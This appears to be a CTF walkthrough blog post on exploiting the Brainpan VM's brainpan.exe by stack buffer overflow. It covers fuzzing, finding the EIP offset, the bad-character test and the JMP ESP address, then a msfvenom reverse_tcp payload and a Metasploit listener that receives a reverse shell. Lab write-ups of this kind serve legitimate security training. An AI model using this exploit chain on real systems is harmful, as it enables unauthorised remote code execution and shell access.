We appear to have two open ports, 9999 and 10000.
I further probe with:
nmap -A 192.168.18.128
The scan indicates a terminal password prompt on port 9999 and a python simple http server running on port 10000.
I have a look at port 9999:
nc 192.168.18.128 9999
[email protected]:~# nc 192.168.18.128 9999 _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >>
I have a go at entering common passwords, the connection disconnects after each failed attempt. Not too much luck there.
I decide to have a look at what’s running on port 10000 by entering the url
http://192.168.18.128:10000 into my web browser.
Nothing exciting yet. From terminal I decide to brute url directories via:
A new directory shows as
I decide to have a look.
A link to brainpan.exe displays on the page. I download and save the exe file.
I am running a linux environment but we may still execute the exe using wine. After ensuring I have wine on my kali machine (
apt-get install wine) and mess around with a significant amount of updates, I decide to execute to see what happens:
Interesting, it looks like the program is listening for a connection on port 9999.
Lets see if I’m right by checking listening ports on my local machine using:
My thoughts were correct, port 9999 is listening.
This appears to likely match the software running on port 9999 on the victim machine. Now I can fuzz the program locally to see if an exploit can be developed so that I can use it to exploit the victim machine.
a. Find the exact amount of bytes required to crash the application
b. Control EIP / ESP Registers
c. Redirect the execution flow (find JMP ESP)
d. Create shellcode
I create a very simple skeleton script in python using nano. It will allow us to send bytes of data to the program to see if at a given point we can cause the program to crash. Get the script from my GitHub here
python fuzz.py and see the program fuzz the application by incrementing data packets by 100. The application attempts to send 700 bytes without a response and thus ceases its loop, this indicates a crash. I check my terminal for brainpan.exe and confirm the program appears to have received the bytes and is no longer running. We now know the program will crash with a buffer of under 700 bytes.
2. Controlling The EIP Register Value
I now need to figure out the exactly how many bytes cause the program to crash to identify the offset point. Fortunately, metasploit tools available on Kali
pattern_create in combination with
pattern_offset simplify this.
I will create a 700 byte unique string pattern:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -L 700
I make a simple buffer overflow script to work with in python (Available on Github) and copy the pattern_create 700 byte string to the buffer variable.
In a terminal I fire up Olly Debugger:
I click file > Open > brainpan.exe
Then click the play icon…. brainpan.exe is now running and attached to Olly Debugger.
I then execute
Olly Debugger shows the program has crashed as expected. I copy the EIP register value to clipboard.
I will need to run this value with pattern_offset to find the offset value:
[email protected]:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 [*] Exact match at offset 524
I now know the program did receive 700 bytes from our script and I know the offset point is 524. Now its time to modify the
simple-buffer-overflow.py script and change the buffer variable payload to
"A"*524 + "B" *4 + "C"*(700-524-4)
We can expect the EIP register value to be overwritten to four B’s by the hex value \x42\x42\x42\x42 that will be displayed as 42424242. I run brainpan.exe with Olly Debugger and execute
simple-buffer-overflow.py to confirm EIP overwrite. Success!
3. Redirecting Execution Flow
A reverse shell payload typically will require between 300-400 bytes. I know there are 172 bytes containing C’s making up to the initial 700 bytes that I starting working with. Now I need to see how far I can stretch this by modifying the
simple-buffer-overflow.py script to find space for my shellcode. I will test the space by extending the C’s to 500 bytes.
I execute brainpan.exe and open Olly Debugger and file> ‘Attach’ brainpan.exe . I then run
simple-buffer-overflow.py and notice the application received its proceeding 500 C’s by checking the terminal window and by following the ESP Register dump in Olly Debugger.
We now need to check for bad characters that could prevent our shellcode from executing. In the buffer payload variable we will remove the C’s and replace with a list of hex characters by creating a new variable ‘badchars’:
badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
*I remove \x00 from badchars since it is a frequent culprit.
I then execute brainpan.exe and attach the process to Olly Debugger and execute
simple-buffer-overflow.py. We then follow the ESP hex dump to compare the hex characters to those we sent. We follow the increment pattern in the hex dump, If you arrive at missing values then it is that first value that needs to be omitted and retested as otherwise it will truncate the proceeding buffer value.
I confirmed that there are no other missing characters or pattern disruptions in the hex dump. This means the only hex value that needs to be omitted in our shellcode is \x00 .
Time to find a return address. I open Olly Debugged and file>open brainpan.exe
I right click the main thread window and right click any item > search for > all commands > ‘jmp esp’
I find a JMP ESP return address static value 311712f3 that we will copy into the
simple-buffer-overflow.py script replacing the B values we previously set. We must must enter the jump value in little-indian format.
We remove the badchars variable, we no longer need it. We replace
\xF3\x12\x17\x31 and where we had the badchars in the buffer we will revert back to placing C’s simply for testing, I add 500 C’s.
We are now sending 524 bytes to land at the crash point where we redirect the execution flow to the jmp value.
4. Generating Shellcode
For this task we use msfvenom.
msfvenom -p linux/x86/meterpreter/reverse_tcp -b \x00 LHOST=192.168.18.134 LPORT=8080 -f python
We then simply add the shellcode to the buffer overflow script.
I run brainpan.exe with wine and fire up msfconsole to set a listener:
set PAYLOAD linux/x86/shell/reverse_tcp
set lhost 192.168.18.134
set port 8080
I then run the exploit
simple-buffer-overflow.py and successfully receive a reverse shell WOOHOO!!! It Works!
Its now to for the real attack on the brainpan ctf machine. We simply change our exploit script IP address to the brainpan address.
I run msfconsole multi/handler exactly the same as before and execute
simple-buffer-overflow.py and successfully receive a reverse shell. 🙂